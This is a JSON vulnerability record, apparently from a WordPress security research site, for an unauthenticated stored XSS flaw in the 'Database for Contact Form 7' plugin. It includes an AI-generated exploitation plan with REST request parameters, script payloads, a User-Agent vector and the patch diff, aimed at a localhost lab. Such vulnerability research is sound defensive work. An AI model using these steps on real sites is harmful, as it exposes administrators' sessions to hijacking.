[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fJGWGYM3WIqx14tzT_ywzeBRlBYcGTMcRm13ABvjSAhI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-57708","database-for-contact-form-7-wpforms-elementor-forms-unauthenticated-stored-cross-site-scripting-2","Database for Contact Form 7, WPforms, Elementor forms \u003C= 1.5.2 - Unauthenticated Stored Cross-Site Scripting","The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","contact-form-entries",null,"\u003C=1.5.2","1.5.3","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-10 00:00:00","2026-07-14 19:33:42",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F495804c2-1870-4d64-9a5a-166b01ed7b0e?source=api-prod",5,[22,23,24],"contact-form-entries.php","readme.txt","templates\u002Fleads.php","researched",false,3,"This research plan targets **CVE-2026-57708**, a Stored Cross-Site Scripting (XSS) vulnerability in the \"Database for Contact Form 7, WPforms, Elementor forms\" plugin.\n\n### 1. Vulnerability Summary\nThe plugin (slug: `contact-form-entries`) is designed to capture and store submissions from popular contact form plugins. It fails to sanitize form input before storing it in the database and, more critically, fails to escape this data when rendering it in the WordPress administrative dashboard (and potentially on the frontend via shortcodes). An unauthenticated attacker can submit a contact form containing malicious JavaScript, which will execute in the context of an administrator's session when they view the \"CRM Entries\" page.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** The submission endpoint of any supported contact form plugin (e.g., Contact Form 7, WPForms, or Elementor).\n*   **Vulnerable Action:** Form submission.\n*   **HTTP Parameter:** Any form field value (e.g., `your-name`, `your-message`, `email`).\n*   **Authentication:** None required (Unauthenticated).\n*   **Preconditions:**\n    1.  The `contact-form-entries` plugin is active.\n    2.  A supported form (e.g., Contact Form 7) is published on a page.\n\n### 3. Code Flow\n1.  **Entry:** An unauthenticated user submits a Contact Form 7 (CF7) form.\n2.  **Hook:** The plugin's `instance()` method (in `contact-form-entries.php`) calls `setup_main()`.\n3.  **Capture:** `setup_main()` registers a filter: `add_filter('wpcf7_before_send_mail', array($this, 'create_entry_cf'), 10);`.\n4.  **Storage:** The function `create_entry_cf` (inferred) retrieves the `$posted_data` from the CF7 submission and inserts it into the `$wpdb->prefix . 'vxcf_leads'` table without sanitization.\n5.  **Sink (Admin):** An administrator navigates to `wp-admin\u002Fadmin.php?page=vxcf_leads`.\n6.  **Rendering:** The template `templates\u002Fleads.php` fetches the entries. While some metadata like `entry_title` is escaped with `esc_html()`, the actual form field values are rendered into the table rows without proper escaping (e.g., using `esc_html()` or `wp_kses()`), leading to script execution.\n\n### 4. Nonce Acquisition Strategy\nThe vulnerability is triggered by a standard form submission of a third-party plugin (like CF7). The `contact-form-entries` plugin does not require its own nonce for this process as it hooks into the existing submission flow.\n\nTo obtain the necessary nonce for a **Contact Form 7** submission:\n1.  Identify the page containing the CF7 form.\n2.  Navigate to the page using `browser_navigate`.\n3.  Extract the CF7 nonce from the hidden input field:\n    *   `browser_eval(\"document.querySelector('input[name=\\\"_wpcf7_nonce\\\"]')?.value\")`\n4.  Alternatively, identify the REST API nonce if the form uses the REST API:\n    *   `browser_eval(\"window.wpcf7?.apiSettings?.nonce\")`\n\n### 5. Exploitation Strategy\n1.  **Identify Form:** Locate a CF7 form ID on the site (e.g., `id=\"123\"`).\n2.  **Craft Payload:** Use a standard XSS payload: `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`.\n3.  **Submit Form:** Send a `POST` request to the CF7 REST API endpoint.\n    *   **Tool:** `http_request`\n    *   **URL:** `http:\u002F\u002Flocalhost:8080\u002Findex.php?rest_route=\u002Fcontact-form-7\u002Fv1\u002Fcontact-forms\u002F\u003CID>\u002Ffeedback`\n    *   **Method:** `POST`\n    *   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n    *   **Parameters:**\n        *   `_wpcf7`: `\u003CID>`\n        *   `_wpcf7_version`: `5.x.x` (standard)\n        *   `_wpcf7_locale`: `en_US`\n        *   `_wpcf7_unit_tag`: `wpcf7-f\u003CID>-p1-o1`\n        *   `your-name`: `\u003Cscript>alert(\"XSS_NAME\")\u003C\u002Fscript>`\n        *   `your-email`: `attacker@example.com`\n        *   `your-message`: `\u003Cscript>alert(\"XSS_MESSAGE\")\u003C\u002Fscript>`\n4.  **Trigger:** Log in to the WordPress dashboard as an admin and visit:\n    *   `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=vxcf_leads`\n\n### 6. Test Data Setup\n1.  **Install Plugins:**\n    *   `wp plugin install contact-form-7 --activate`\n    *   `wp plugin install contact-form-entries --version=1.5.2 --activate`\n2.  **Create Form:** Use the default CF7 \"Contact form 1\".\n3.  **Create Page:**\n    *   `wp post create --post_type=page --post_title=\"Contact Us\" --post_content='[contact-form-7 id=\"5\" title=\"Contact form 1\"]' --post_status=publish`\n4.  **Capture ID:** Note the ID of the newly created post and the CF7 form.\n\n### 7. Expected Results\n*   The CF7 submission returns a success message: `{\"status\":\"mail_sent\", \"message\":\"...\"}`.\n*   Upon visiting the \"CRM Entries\" page in the admin dashboard, two JavaScript alerts (`XSS_NAME` and `XSS_MESSAGE`) will trigger.\n*   The HTML source of the admin page will contain the raw `\u003Cscript>` tags within the `\u003Ctd>` elements of the entries table.\n\n### 8. Verification Steps\n1.  **Database Check:** Verify the payload is stored raw in the database.\n    *   `wp db query \"SELECT * FROM wp_vxcf_leads ORDER BY id DESC LIMIT 1;\"`\n2.  **Admin UI Check:** Use `browser_navigate` to the entries page and check for the presence of the alert or the script in the DOM.\n    *   `browser_eval(\"document.body.innerHTML.includes('\u003Cscript>alert')\")`\n\n### 9. Alternative Approaches\n*   **User-Agent Vector:** If the plugin captures the Browser\u002FOS without sanitization (as suggested by its \"GDPR features\"), use `http_request` with a custom `User-Agent` header containing the payload:\n    *   `User-Agent: \u003Cscript>alert('UA_XSS')\u003C\u002Fscript>`\n*   **Frontend Shortcode:** Check if the plugin displays entries on the frontend using the `[vx-entries]` shortcode. If so, creating a page with this shortcode would allow an unauthenticated user to trigger XSS against other visitors (Guest-to-Guest XSS).\n    *   `wp post create --post_type=page --post_status=publish --post_content='[vx-entries form_id=\"cf_5\"]'` (inferred shortcode syntax).","The Database for Contact Form 7 plugin fails to properly sanitize form submission data before storage and fails to escape it when rendering the 'CRM Entries' dashboard page. This allows unauthenticated attackers to inject malicious scripts into contact form fields which execute when an administrator views the collected entries.","\u002F\u002F contact-form-entries.php around line 218\nadd_filter('wpcf7_before_send_mail', array($this, 'create_entry_cf'), 10);\n\n---\n\n\u002F\u002F contact-form-entries.php around line 2787\nif(empty($form_id)){\n $form_id=vxcf_form::post('form_id');   \n}\nself::$form_id=esc_sql($form_id);\n\n---\n\n\u002F\u002F templates\u002Fleads.php around line 290\n\u003Cinput type=\"hidden\" name=\"form_id\" value=\"\u003C?php echo esc_html($form_id) ?>\" \u002F>","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-form-entries\u002F1.5.2\u002Fcontact-form-entries.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-form-entries\u002F1.5.3\u002Fcontact-form-entries.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-form-entries\u002F1.5.2\u002Fcontact-form-entries.php\t2026-06-19 11:39:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-form-entries\u002F1.5.3\u002Fcontact-form-entries.php\t2026-06-29 18:05:30.000000000 +0000\n@@ -2784,7 +2784,7 @@\n         if(empty($form_id)){\n          $form_id=vxcf_form::post('form_id');   \n         }\n-  self::$form_id=esc_sql($form_id);   \n+  self::$form_id=esc_attr($form_id);   \n if(empty(self::$form_id) && !empty(self::$forms)){\n       $form_key=key($forms);\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-form-entries\u002F1.5.2\u002Ftemplates\u002Fleads.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-form-entries\u002F1.5.3\u002Ftemplates\u002Fleads.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-form-entries\u002F1.5.2\u002Ftemplates\u002Fleads.php\t2026-06-19 11:39:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-form-entries\u002F1.5.3\u002Ftemplates\u002Fleads.php\t2026-06-29 18:05:30.000000000 +0000\n@@ -287,7 +287,7 @@\n      \u003Cdiv style=\"float: right;\">\n \u003Cform id=\"vx_form\" class=\"crm_form\" method=\"get\">\u003Cdiv>\n     \u003Cinput type=\"hidden\" name=\"page\" value=\"\u003C?php echo esc_html(vxcf_form::post('page')) ?>\" \u002F>\n-  \u003Cinput type=\"hidden\" name=\"form_id\" value=\"\u003C?php echo esc_html($form_id) ?>\" \u002F>\n+  \u003Cinput type=\"hidden\" name=\"form_id\" value=\"\u003C?php echo esc_attr($form_id) ?>\" \u002F>\n   \n       \u003Cinput type=\"hidden\" name=\"status\" value=\"\u003C?php echo esc_html(vxcf_form::post('status')) ?>\" \u002F>","The attack targets the submission endpoint of any contact form plugin supported by 'Contact Form Entries' (such as Contact Form 7). An unauthenticated attacker submits a form where one or more fields (e.g., name or message) contain a JavaScript payload like \u003Cscript>alert(document.domain)\u003C\u002Fscript>. The plugin hooks into the submission process and stores this unsanitized payload in the 'wp_vxcf_leads' table. When an administrator navigates to the 'CRM Entries' menu in the WordPress dashboard, the plugin retrieves the stored entry and renders it into a table without proper HTML escaping, triggering the execution of the malicious script in the administrator's session.","gemini-3-flash-preview","2026-07-15 10:00:20","2026-07-15 10:01:28",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","1.5.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontact-form-entries\u002Ftags\u002F1.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontact-form-entries.1.5.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontact-form-entries\u002Ftags\u002F1.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontact-form-entries.1.5.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontact-form-entries\u002Ftags"]